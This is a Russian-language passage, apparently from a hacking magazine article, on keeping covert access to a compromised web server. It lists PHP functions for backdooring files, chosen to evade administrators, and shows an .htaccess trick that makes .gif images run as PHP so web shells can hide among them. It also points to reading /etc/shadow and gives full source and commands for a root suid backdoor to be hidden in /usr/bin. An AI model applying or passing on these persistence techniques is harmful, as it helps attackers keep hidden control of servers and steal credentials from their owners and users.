Рассмотрим случай, если у
нас права не root. Для начала нужно пробекдорить
различные пшп-файлы функциями, через которые
можно выполнять команды либо PHP-код. Вот
небольшой их список. Самые палевные:


system()
passthru()
exec()
shell_exec()
pcntl_exec()
eval()

Эти функции очень быстро обнаруживаются
админами, поэтому можно использовать менее
популярные и менее известные:

assert()
preg_replace() c модификатором e
$a($b)
usort()
и другие

Следующее, что следует сделать — это
расплодить и спрятать веб-шеллы. Если это
какой-либо паблик двиг, вроде joomla, wordpress
или vbulletin, то замаскировать шелл под
окружение не очень сложно. Так же хорошей
методикой считается маскировка шелла под
нестандартные для PHP расширения. Рассмотрим
такую ситуацию, когда в папке images много
картинок, но все они имеют расширение .jpg. Мы
можем спрятать наш шелл в .gif-картинке! Для
этого создадим здесь .htaccess с таким
содержимым:

AddType application/x-httpd-php .gif

Теперь все .gif-файлы будут выполняться как
пшп-код

Ну а что же делать, когда мы получили рут на
сервере и хотим его сохранить? Первым делом
прочитай файл /etc/shadow, — в нем хранятся
пароли всех пользователей системы. Стоит
сказать, что руткитов под новые версии ядер не
выпускали очень давно, а запуск старых в лучшем
случае вызовет ошибку, а в худшем похоронит
сервер. Основными вариантами закрепления на
сервере являются: протроянивание OpenSSH и
маскировка суидников. Про пакости в OpenSSH ты
можешь прочитать в статье ShadOS’а, которую
непременно найдешь в Гугле, а про суидники я
расскажу прямо сейчас, благо, тут нет ничего
сложного. Создаем на сервере файл suid.c,
содержимое которого:

#include <stdio.h>
int main(int argc, char **argv){
system(argv[1]);
}

Компилируем его командой gcc suid.c -o suid.
Суидник (хотя наверняка ты знаешь) - это
исполняемый файл с suid-битом. Суид-бит
позволяет выполнять программы от имени
пользователя, к которому он принадлежит. Эта
программа принимает параметр и вызывает функцию
system(). Попробуем запустить ее без suid-бита:

./suid id
uid=30(www) gid=30(www)

А теперь из-под рута выполним команду:

chown 0:0 suid;chmod 4755 suid

И — выполним от пользователя www:

./suid id
uid=30(www) gid=30(www) egid=0(root)

Пусть тебя не смущает uid=30, теперь у нас
полноценные права рута! Нужно как следует
спрятать его в каталоге /usr/bin.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии